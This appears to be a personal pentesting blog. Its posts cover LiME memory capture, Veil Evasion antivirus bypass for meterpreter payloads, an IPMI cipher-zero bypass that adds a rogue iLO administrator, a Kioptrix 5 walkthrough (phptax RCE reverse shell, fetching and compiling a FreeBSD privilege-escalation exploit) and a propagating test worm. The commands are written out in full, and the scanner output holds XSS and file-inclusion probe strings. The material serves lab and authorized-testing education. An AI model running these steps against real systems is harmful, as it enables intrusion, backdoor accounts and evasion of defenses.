Tuesday, March 28, 2017
Tuesday, May 5, 2015
LiME and Volatility
I have gotten to take a small break from pentesting and return to some forensics. The question of the week, did someone drop malware on a system? This of course required a return to one of my favorite tools Volatility!
As part of this task, I wanted to pull memory from a production RHEL web server without rebooting and affecting normal operation of the system. In steps LiME. I had heard of LiME before, but haven't had much of a chance to really use it. Linux Memory Extractor (LiME) is a Loadable Kernel Module (LKM) that allows you make a copy of the running memory of a linux system in a format that Volatility understands.
LiME is very simple to get running. Download the source code from the github link above. Copy the source to the system you want to pull memory from, in my case a RHEL 6.5 VM. Run "make" from the source directory. Now you have the kernel mode built and ready to use. It should be the ".ko" file in your source folder. In order to run LiME you need to load the module with a few parameters - the name of the file/where to dump memory and the format. You do this using "insmod".
insmod lime-2.6.32-431.el6.x86_64.ko "path=mem.lime format=lime"This will dump all the current running memory to the file mem.lime in the "lime" format. You could also create a raw dump, however what is nice about the lime format is Volatility already understands how to handle it with no modifications. Another cool feature of LiME is it allows you to dump the memory to a network socket and therefore copy the memory directly off. In order to accomplish this first tell lime to send the memory to a port.
insmod lime-2.6.32-431.el6.x86_64.ko "path=tcp:8080 format=lime"Then connect to that port from your receiving machine using netcat and save the output to a file.
nc limeMachineIP 8080> mem.limeThis will dump all the memory to the receiving box on port 8080 to the file mem.lime. Now all you need is to build a profile for Volatility and you can analyze your new memory image. I covered how todo this in an early post, so I won't go through it all again, however I will mention doing this on RHEL it took me a few tries to find the right "elf" package needed to compile "dwarfdump." Anyone needing it I had to install "elfutils-devel.x86_64" in order to get "dwarfdump" to compile. With my profile built I was able to use all the Volatiilty plugins smoothly by using the syntax below.
./volatility_2.4_x64 --plugins=profiles/ --profile=LinuxRHEL-6_5_x86_64x64 linux_pslist -f test.limeHope this was helpful, feel free to comment or contact me with any questions. I will do my best to respond.
Tuesday, February 24, 2015
Veil Evasion
This was a post I have been intending to write for several months now, however a fellow hacker recently asked me for advice on this topic. So I decided why not share.
Anti-Virus can be a real pain to a pentester. However like everything else in the computer security world, for every defensive measure, there is a more impressive hack. In steps the Veil Framework. Veil as a whole is a very awesome framework, but for our purposes, we will focus on one component, called Veil Evasion. This tool is developed solely with the purpose of bypassing your favorite AV software. I will pick on McAfee, but make no mistake, this is not a flaw in McAfee. This will work on most AVs.
Veil can be installed from the github link above. If you are using Kali, it is very simple, just run the setup.sh script and you shouldn't have any major issues. Veil provides a very simple to use command line interface. From the first screen, you can use the "list" command to see the payloads that Veil offers. Currently there are 33 payloads to choose from.
Most of my experience has been utilizing payloads 17 and 24. For this discussion I will be using 24. I have found the need for an executable greater than any other type during my testing. From this screen you can type "use 24" to select the python meterpreter reverse https payload. Depending on your use case, it is worth noting this is not a staged payload. The following screen will have a metasploit feel to it and is just as simple to use. Use "set" to configure your LHOST and LPORT options. Since we want to create an exe, we will leave the "compile_to_exe" option to "Y". If you change this to "no" it will produce python scripts. Useful for some use cases. Also take note at the "use_pyherion" option. This option will encrypt your payload. For the first run, lets try this left as "N". We will come back to this later. The following screens wants you to name the payload. Once you do, you will be presented with 3 other options on how to compile the payload, as shown below.
These options are very important. In alot of cases the first option will work very well, hence the default. Lets try option 1 with McAfee. Once you make your selection, Veil will compile your payload. Your payload will be dropped in your home directory under a "veil-output" folder. You will also notice it creates a metasploit resource file, which is really nice for making sure you setup the correct handler for you payload. With AV there is two types of testing which needs to be bypassed, static and run time. I have a Windows 7 64 bit VM configured with the latest version of McAfee Enterprise. To test static detection I will drop the binary on the system, and tell McAfee to scan the file.
Before I can even, tell McAfee to scan the file, my payload is detected and deleted. Epic Fail. McAfee was even aware that Veil was used to create this payload. Don't worry not all hope is lost. Remember the two other options I made note of? First is pyherion, which will encrypt your payload. If you rebuild your binary with this option, you will be pleased to know you will be able to staticly scan your payload without detection. Victory! right!? Don't forget, the second test. Even though your payload will pass static detection in this case, as soon as you run it McAfee will throw a fit, and remove it. Great, McAfee 2 - Redbutt 0. Lets look at the other compile option, labeled "Pwnstaller (obfuscated Pyinstaller loader)" or option 2. This option will also obfuscate the run time loader used to run your payload. Let's see how McAfee likes this option. Static test?
Sweet, first test passed! Now lets try and run it.
No alarms! Did we get a meterpreter session?
Success! What is even better about this option, is you do not need to use pyherion as well. This compile option will take care of both static and run time detection IN THIS INSTANCE. It is important to note that this does not mean it will work for every version of AV. Each AV should be tested independently. You can also add your Veil payload to Metasploit using the "set EXE::Custom \path\to\veil.exe" option. Thats Veil Evasion in a nut shell with a basic scenario. Feel free to comment or message me with questions or other experiences.
Sunday, February 15, 2015
OSCP Review
The last several months have been extremely busy, mainly thanks to me taking the OSCP Certification. Good news, I have passed! Many people have asked me about the course and would I recommend it? I decided I would put my thoughts here.
TL;DR - Awesome Course, take it, you won't be upset.
To understand my point of view you first need to know I have a degree in Computer Security and have been working in pentesting for about 5 years. I signed up for the 90 days of lab time with the exam. You are provided a book, video lessons, and a VPN access to a virtual lab with somewhere near 65 different machines on 3 different networks. My approach was to go through the book with the videos, complete all the exercises and then move onto the labs. This is Offsec's recommended approach.
At first I was actually disappointed. I kept hoping the book would go into more detail, however I found it extremely basic and the exercises not very challenging. The book and videos do a good job at showing you the basics of the concepts and giving you and introduction to a lot of different areas, however someone with my experience level did not gain very much from this material.
Due to life and lack of motivation it took me about 60 days to complete the book and all the exercises. Which left me about 30 days for the labs. In retrospect this was a mistake. The labs were awesome and I regret not leaving more time for them. The labs provided a great challenge for all levels and truly tested not only your skills, but your motivation to keep trying. This is where I learned a great deal and was able to improve my skills. For anyone who has done the Kioptrix challenges, the labs are like a bunch of Kioptrix challenges that are connected. In 30 days, I was able to get root on 22 of the systems with working an average of 3-6 hrs a day on the challenges.
Several people has asked me, "How do you know when your ready for the Exam? Should you get root on all the boxes first?"
Its hard to say when your ready for the exam. My advice would be make sure you have firm understanding of all the concepts in the book and how to perform all of the attacks. You don't need to get every single box, however I would suggesting getting a variety of boxes. If you only went after the MS08-67 boxes in the lab, you will not be prepared. If you only worked on the Web boxes, you will not be prepared. Offsec does a good job at providing boxes for every area of pentesting, If you are comfortable performing each area MANUALLY, you will be fine.
The exam is all about preparation and time management. Offsec imposes many restrictions on what tools are allowed. Most automated too, such as vulnerability scanners and most metasploit functionality is not allowed. I took the time to precompile a wide variety of windows exploits for both remote and local attacks. I also created python scripts to help automate my recon. I organized my notes of things I found useful from the labs, and included reference links. I found all of these very useful during the exam. In the end, it took me 8 hrs to obtain the required 70 points to pass. I enjoyed taking the Offensive Security course, and plan to take some of their other courses in the future.
Monday, December 8, 2014
Attacking IPMI Cipher 0
During a pentest last month I ran into something new to me. Nessus returned with a "IPMI Cipher Suite Zero Authentication Bypass" on several HP iLO servers. I didn't find a lot of research online so I thought I would share my experience with it. I did end up finding another blog here, which is a great resource as well. Obvious first question, what the heck does that mean? To Wikipedia!!
"The Intelligent Platform Management Interface is a set of computer interface specifications for an autonomous computer subsystem that provides management and monitoring capabilities independently of the host system's CPU, firmware and operating system. IPMI defines a set of interfaces used by system administrators for out-of-band management of computer systems and monitoring of their operation. For example, IPMI provides a way to manage a computer that may be powered off or otherwise unresponsive by using a network connection to the hardware rather than to an operating system or login shell."
Hmmmm access to "out-of-band management" always sounds good during a pentest! Now what about this "Cipher Suite Zero" part? Nessus helped out here -
"...which permits logon as an administrator without requiring a password". Well that just sounds excellent! Now in my case, I was interested in gaining administrator access to the HP iLO web server interface. Although the IPMI interface would me allow me to login without a password, this did not translate up to the web interface. So I wanted to leverage this to add my own administrator account. There are free tools available for linux which can communicate with the IPMI interface. So first step was to install these tools, which I did on my Kali VM.
sudo apt-get install freeipmi-toolsUsing these tools, it was actually quite simple to accomplish my goal, with just a few commands. The first command list the users and there privileges on the box. We do this by supplying the credentials of Administrator and empty string for the password while using the "ipmitool". For obvious reasons I have scrubbed all the users names form the output below, only leaving Administrator, the default account.
ipmitool -I lanplus -C 0 -H IP_ADDRESS -U Administrator -P "" user list ID Name Callin Link Auth IPMI Msg Channel Priv Limit 1 Administrator true false true ADMINISTRATOR 2 (Empty User) true false false NO ACCESS 3 (Empty User) true false false NO ACCESS 4 (Empty User) true false false NO ACCESS 5 (Empty User) true false false NO ACCESS 6 (Empty User) true false false NO ACCESS 7 (Empty User) true false false NO ACCESS 8 (Empty User) true false false NO ACCESS 9 (Empty User) true false false NO ACCESS 10 (Empty User) true false false NO ACCESS 11 (Empty User) true false false NO ACCESS 12 (Empty User) true false false NO ACCESSGreat, this shows that we can actually make a valid connection and did show other user accounts. Now to add my own user I need to make a change to the config file on the system. Lets first take a look at the current config file to understand what it looks like and to also make a backup for the client.
bmc-config -D LAN_2_0 -I 0 -v -u Administrator -p "" -h IP_ADDRESS -o -fThe above command will log into the machine and download the config file. This may take some time depending on your network. If you take some time and examine the config file which has been downloaded, it is very easy to see how to add a user. Below is a before and after snip of the config file I was using.
Original
...
Section User2
## Give Username
Username (Empty User)
## Give password or blank to clear. MAX 16 chars (20 chars if IPMI 2.0 supported).
## Password
## Possible values: Yes/No or blank to not set
Enable_User No
## Possible values: Yes/No
Lan_Enable_IPMI_Msgs No
## Possible values: Yes/No
Lan_Enable_Link_Auth No
## Possible values: Yes/No
Lan_Enable_Restricted_to_Callback No
## Possible values: Callback/User/Operator/Administrator/OEM_Proprietary/No_Access
Lan_Privilege_Limit No_Access
## Possible values: 0-17, 0 is unlimited; May be reset to 0 if not specified
## Lan_Session_Limit
## Possible values: 0-17, 0 is unlimited; May be reset to 0 if not specified
## Serial_Session_Limit
EndSection
...
After
...
Section User2
## Give Username
Username AdminUser
## Give password or blank to clear. MAX 16 chars (20 chars if IPMI 2.0 supported).
Password P@$$w0rd
## Possible values: Yes/No or blank to not set
Enable_User Yes
## Possible values: Yes/No
Lan_Enable_IPMI_Msgs Yes
## Possible values: Yes/No
Lan_Enable_Link_Auth Yes
## Possible values: Yes/No
Lan_Enable_Restricted_to_Callback No
## Possible values: Callback/User/Operator/Administrator/OEM_Proprietary/No_Access
Lan_Privilege_Limit Administrator
## Possible values: 0-17, 0 is unlimited; May be reset to 0 if not specified
## Lan_Session_Limit
## Possible values: 0-17, 0 is unlimited; May be reset to 0 if not specified
## Serial_Session_Limit
EndSection
...
You want to choose a spot in the config file that is labeled for an (Empty User), otherwise when you push the new config you will overwrite the preexisting users. Also you may notice I used a someone stronger password. In my case my goal is to get into the web server. I did this since I am unaware if there is a password policy in place. Lastly time, to upload the config file.
bmc-config -D LAN_2_0 -I 0 -v -u Administrator -p "" -h IP_ADDRESS --commit -fYou will notice I got an error, however lets check the user list again just to make sure if failed.ERROR: Failed to commit `User2:Lan_Enable_Link_Auth': Invalid/Unsupported Config
ipmitool -I lanplus -C 0 -H IP_ADDRESS -U Administrator -P "" user list ID Name Callin Link Auth IPMI Msg Channel Priv Limit 1 Administrator true false true ADMINISTRATOR 2 AdminUser true false true ADMINISTRATOR 3 (Empty User) true false false NO ACCESS 4 (Empty User) true false false NO ACCESS 5 (Empty User) true false false NO ACCESS 6 (Empty User) true false false NO ACCESS 7 (Empty User) true false false NO ACCESS 8 (Empty User) true false false NO ACCESS 9 (Empty User) true false false NO ACCESS 10 (Empty User) true false false NO ACCESS 11 (Empty User) true false false NO ACCESS 12 (Empty User) true false false NO ACCESSWell look at that it worked anyway! I am not sure why that error is thrown, but upon further investigation I can now log into the web server page without a problem as well. Normally I like to chase down all errors regardless, but in this situation during a pentest it was unimportant. So there it is, another successful hack for the books.
Saturday, October 4, 2014
Kioptrix 5: SOLUTION
I had some time this week and wanted to work on a vulnerable machine challenge. A while ago I had enjoyed working through the Kioptrix VMs but had never gotten a chance to work on the one released in 2014. So I decided that would be an excellent exercise for the evening. SPOILER ALERT: The rest of this post will provide a solution to this challenge.
First, it is worth mentioning that I had to remove and re-add the network card in order for the VM to grab an ip address. This is also mentioned on the Kioptrix VM blog.
My Setup:
Kali: 192.168.138.129
Kioptrix 5: 192.168.138.130
So we start with a good old fashion nmap scan.
Well that is rather disappointing! I was hoping for some type of login or input box. Lets check 8080.
That was more interesting but not very exciting either. Lets move to one of my favorite web scanners Nikto and scan both sites.
Interesting we have a new directory to look at. When you click on it you find a webapp.
Now I had never heard of "phptax" so my first instinct was to run it through searchsploit.
root@kali:~# nmap -sV 192.168.138.130 Starting Nmap 6.46 ( http://nmap.org ) at 2014-09-08 21:57 EDT Nmap scan report for 192.168.138.130 Host is up (0.00031s latency). Not shown: 997 filtered ports PORT STATE SERVICE VERSION 22/tcp closed ssh 80/tcp open http Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8) 8080/tcp open http Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8) MAC Address: 00:50:56:3C:ED:6C (VMware)So we notice what looks like a standard web server running, So time to navigate to the webpage and see what we got. Lets start with standard port 80.
Well that is rather disappointing! I was hoping for some type of login or input box. Lets check 8080.
That was more interesting but not very exciting either. Lets move to one of my favorite web scanners Nikto and scan both sites.
root@kali ~# nikto -h 192.168.138.130 - Nikto v2.1.6 --------------------------------------------------------------------------- + Target IP: 192.168.138.130 + Target Hostname: 192.168.138.130 + Target Port: 80 + Start Time: 2014-09-08 22:00:57 (GMT-4) --------------------------------------------------------------------------- + Server: Apache/2.2.21 (FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8 + Server leaks inodes via ETags, header found with file /, inode: 67014, size: 152, mtime: Sat Mar 29 13:22:52 2014 + The anti-clickjacking X-Frame-Options header is not present. + mod_ssl/2.2.21 appears to be outdated (current is at least 2.8.31) (may depend on server version) + PHP/5.3.8 appears to be outdated (current is at least 5.4.26) + OpenSSL/0.9.8q appears to be outdated (current is at least 1.0.1e). OpenSSL 0.9.8r is also current. + Apache/2.2.21 appears to be outdated (current is at least Apache/2.4.7). Apache 2.0.65 (final release) and 2.2.26 are also current. + mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8 - mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell. CVE-2002-0082, OSVDB-756. + Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE + OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
root@kali ~# nikto -h 192.168.138.130:8080 - Nikto v2.1.6 --------------------------------------------------------------------------- + Target IP: 192.168.138.130 + Target Hostname: 192.168.138.130 + Target Port: 8080 + Start Time: 2014-09-08 22:45:47 (GMT-4) --------------------------------------------------------------------------- + Server: Apache/2.2.21 (FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8 + The anti-clickjacking X-Frame-Options header is not present. + All CGI directories 'found', use '-C none' to test none + mod_ssl/2.2.21 appears to be outdated (current is at least 2.8.31) (may depend on server version) + PHP/5.3.8 appears to be outdated (current is at least 5.4.26) + OpenSSL/0.9.8q appears to be outdated (current is at least 1.0.1e). OpenSSL 0.9.8r is also current. + Apache/2.2.21 appears to be outdated (current is at least Apache/2.4.7). Apache 2.0.65 (final release) and 2.2.26 are also current. + mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8 - mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell. CVE-2002-0082, OSVDB-756. + OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST + 22376 requests: 0 error(s) and 7 item(s) reported on remote host + End Time: 2014-09-08 22:49:51 (GMT-4) (244 seconds) --------------------------------------------------------------------------- + 1 host(s) testedAt first look there appears to be a possibility with CVE-2002-0082, OSVDB-756. Also a flashback to Kioptrix 1. But after some investigating you will find these exploits will not work here. Bummer. As I often do when Im working through a test like this, I went back and ran the same scans again. They all produced the same results as expected, however this time it caught my attention how long they were taking to run. Nikto is a very fast scanner and this is on an isolated network, yet these scans were taken a very long time to execute to run. Why? What if the scan is getting filtered? Nikto identifies itself in the user agent field when scanning and this is a configurable field. Lets try and change it. This took some time, however I ran the same test with several different user agents until BINGO found something different! I used useragentstrings.com to get a list of user agents to try. Check the results below when I used an IE6 user agent string on 8080:
nikto.conf .... # User-Agent variables: # @VERSION - Nikto version # @TESTID - Test identifier # @EVASIONS - List of active evasions #USERAGENT=Mozilla/5.00 (Nikto/@VERSION) (Evasions:@EVASIONS) (Test:@TESTID) USERAGENT=Mozilla/4.0 (Compatible; Windows NT 5.1; MSIE 6.0) (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727) ... root@kali:~# nikto -h http://192.168.138.130:8080 - Nikto v2.1.6 --------------------------------------------------------------------------- + Target IP: 192.168.138.130 + Target Hostname: 192.168.138.130 + Target Port: 8080 + Start Time: 2014-09-09 19:02:08 (GMT-4) --------------------------------------------------------------------------- + Server: Apache/2.2.21 (FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8 + The anti-clickjacking X-Frame-Options header is not present. + OSVDB-3268: /: Directory indexing found. + mod_ssl/2.2.21 appears to be outdated (current is at least 2.8.31) (may depend on server version) + PHP/5.3.8 appears to be outdated (current is at least 5.4.26) + OpenSSL/0.9.8q appears to be outdated (current is at least 1.0.1e). OpenSSL 0.9.8r is also current. + Apache/2.2.21 appears to be outdated (current is at least Apache/2.4.7). Apache 2.0.65 (final release) and 2.2.26 are also current. + mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8 - mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell. CVE-2002-0082, OSVDB-756. + Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE + OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST + OSVDB-3268: /./: Directory indexing found. + OSVDB-3268: /?mod=node&nid=some_thing&op=view: Directory indexing found. + OSVDB-3268: /?mod=some_thing&op=browse: Directory indexing found. + /./: Appending '/./' to a directory allows indexing + OSVDB-3268: //: Directory indexing found. + //: Apache on Red Hat Linux release 9 reveals the root directory listing by default if there is no index page. + OSVDB-3268: /?Open: Directory indexing found. + OSVDB-3268: /?OpenServer: Directory indexing found. + OSVDB-3268: /%2e/: Directory indexing found. + OSVDB-576: /%2e/: Weblogic allows source code or directory listing, upgrade to v6.0 SP1 or higher. http://www.securityfocus.com/bid/2513. + OSVDB-3268: /?mod=Now we are getting somewhere! Looks like there is more to this website than meets the eye. Now lets navigate to the website using user agent switcher plugin for iceweasel.alert(document.cookie)&op=browse: Directory indexing found. + OSVDB-3268: /?sql_debug=1: Directory indexing found. + OSVDB-3268: ///: Directory indexing found. + OSVDB-3268: /?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: Directory indexing found. + OSVDB-3268: /?=PHPE9568F36-D428-11d2-A769-00AA001ACF42: Directory indexing found. + OSVDB-3268: /?=PHPE9568F34-D428-11d2-A769-00AA001ACF42: Directory indexing found. + OSVDB-3268: /?=PHPE9568F35-D428-11d2-A769-00AA001ACF42: Directory indexing found. + OSVDB-3268: /?PageServices: Directory indexing found. + OSVDB-119: /?PageServices: The remote server may allow directory listings through Web Publisher by forcing the server to show all files via 'open directory browsing'. Web Publisher should be disabled. CVE-1999-0269. + OSVDB-3268: /?wp-cs-dump: Directory indexing found. + OSVDB-119: /?wp-cs-dump: The remote server may allow directory listings through Web Publisher by forcing the server to show all files via 'open directory browsing'. Web Publisher should be disabled. CVE-1999-0269. + OSVDB-3268: ///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////: Directory indexing found. + OSVDB-3288: ///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////: Abyss 1.03 reveals directory listing when /'s are requested. + OSVDB-3268: /?pattern=/etc/*&sort=name: Directory indexing found. + OSVDB-3268: /?D=A: Directory indexing found. + OSVDB-3268: /?N=D: Directory indexing found. + OSVDB-3268: /?S=A: Directory indexing found. + OSVDB-3268: /?M=A: Directory indexing found. + OSVDB-3268: /?\"> alert('Vulnerable'); : Directory indexing found. + OSVDB-3268: /?_CONFIG[files][functions_page]=http://cirt.net/rfiinc.txt?: Directory indexing found. + OSVDB-3268: /?npage=-1&content_dir=http://cirt.net/rfiinc.txt?&cmd=ls: Directory indexing found. + OSVDB-3268: /?npage=1&content_dir=http://cirt.net/rfiinc.txt?&cmd=ls: Directory indexing found. + OSVDB-3268: /?show=http://cirt.net/rfiinc.txt??: Directory indexing found. + OSVDB-3268: /?-s: Directory indexing found. + OSVDB-3268: /?q[]=x: Directory indexing found. + 7356 requests: 0 error(s) and 44 item(s) reported on remote host + End Time: 2014-09-09 19:04:01 (GMT-4) (113 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
Interesting we have a new directory to look at. When you click on it you find a webapp.
Now I had never heard of "phptax" so my first instinct was to run it through searchsploit.
root@kali:/var/www# searchsploit phptax ... phptax 0.8 - Remote Code Execution Vulnerability | /php/webapps/21665.txt PhpTax pfilez Parameter Exec Remote Code Injection | /php/webapps/21833.rb PhpTax 0.8 - File Manipulation(newvalue | /php/webapps/25849.txtSure enough, looks like there is remote code execution. Upon looking at the ruby file, it appears there is aleady a metasploit module! Even better. Time to switch over to metasploit. After some small configuration BAM we got a shell!
msf payload(reverse_tcp) > use exploit/multi/http/phptax_exec msf exploit(phptax_exec) > show options Module options (exploit/multi/http/phptax_exec): Name Current Setting Required Description ---- --------------- -------- ----------- Proxies no Use a proxy chain RHOST 192.168.138.130 yes The target address RPORT 8080 yes The target port TARGETURI /phptax/ yes The path to the web application VHOST no HTTP server virtual host Exploit target: Id Name -- ---- 0 PhpTax 0.8 msf exploit(phptax_exec) > exploit [*] 192.168.138.1308080 - Sending request... [*] Started reverse double handler [*] Accepted the first client connection... [*] Accepted the second client connection... [*] Accepted the first client connection... [*] Accepted the second client connection... [*] Command: echo Iam34x4WAqVYQ4PL; [*] Writing to socket A [*] Writing to socket B [*] Reading from sockets... [*] Command: echo jIkHJaahsxxiLarm; [*] Writing to socket A [*] Writing to socket B [*] Reading from sockets... [*] Reading from socket B [*] B: "Iam34x4WAqVYQ4PL\r\n" [*] Matching... [*] A is input... [*] Reading from socket B [*] B: "jIkHJaahsxxiLarm\r\n" [*] Matching... [*] A is input... [*] Command shell session 1 opened (192.168.138.129:4444 -> 192.168.138.130:57006) at 2014-09-09 21:20:00 -0400 [*] Command shell session 2 opened (192.168.138.129:4444 -> 192.168.138.130:28179) at 2014-09-09 21:20:00 -0400 ls data drawimage.php files icons.inc index.php maps pictures readme ttf whoami wwwNow we are on the box, but not root. Time todo some recon on the box.
uname -a FreeBSD kioptrix2014 9.0-RELEASE FreeBSD 9.0-RELEASE #0: Tue Jan 3 07:46:30 UTC 2012 root@farrell.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC amd64FreeBSD 9, ok back to searchsploit. I get alot of results, but one in particular interested me, 28718.
root@kali ~# searchsploit freebsd 9 .... FreeBSD 9.1 ftpd Remote Denial of Service | /freebsd/dos/24450.txt FreeBSD 9.0-9.1 mmap/ptrace - Privilege Escl | /freebsd/local/26368.c FreeBSD 9 Address Space Manipulation Privile | /freebsd/local/26454.rb FreeBSD 9.0 - Intel SYSRET Kernel Privilege | /freebsd/local/28718.c FreeBSD <= 7.1 libc Berkley DB Interface Uni | /freebsd/local/32946.c ....So great there is a local privilege escalation, but that means we need to get the exploit onto the box and be able to compile it. Doing some more poking around I am able to determine, I have gcc, and can write to the directory I am currently in, however how am I going to get the file there? My first thought is web server, however I don't seem to have wget or curl. A quick Google search revealed a command called "fetch" on freeBSD that would accomplish the same thing. So I hosted the exploit on Kali's web server and used fetch to pull it down.
fetch http://192.168.138.129/28718.c 28718.c 5565 B 31 MBps ls 28718.c data drawimage.php files icons.inc index.php maps pictures readme testfile ttfNow time to compile, run and hope that it works.
gcc 28718.c -o sploit ls 28718.c data drawimage.php exploit.php files icons.inc index.php maps pictures readme sploit testfile ttf ./sploit [+] SYSRET FUCKUP!! [+] Start Engine... [+] Crotz... [+] Crotz... [+] Crotz... [+] Woohoo!!! whoami rootWOOT! The exploit worked and now we have root. Mission complete.
Monday, September 8, 2014
Wanderer
I was on a test event where we wanted to test the incident response system against several different types of malware. The customer was against using live malware so I developed a "worm" like application. It propagates through the networking looking for Windows boxes which have left the Admin share open. It uses a method like PSExec to move and install itself on each box as a service. This provided a great way test malware behavior without doing anything very malicious. I did add an option which allowed for a payload to be attached to the worm. This allowed me to use Wanderer to test other malware scenarios as well. Checkout my GitHub page for more details and the code. I hope to continue development to make improvements and add more features.
Subscribe to:
Posts (Atom)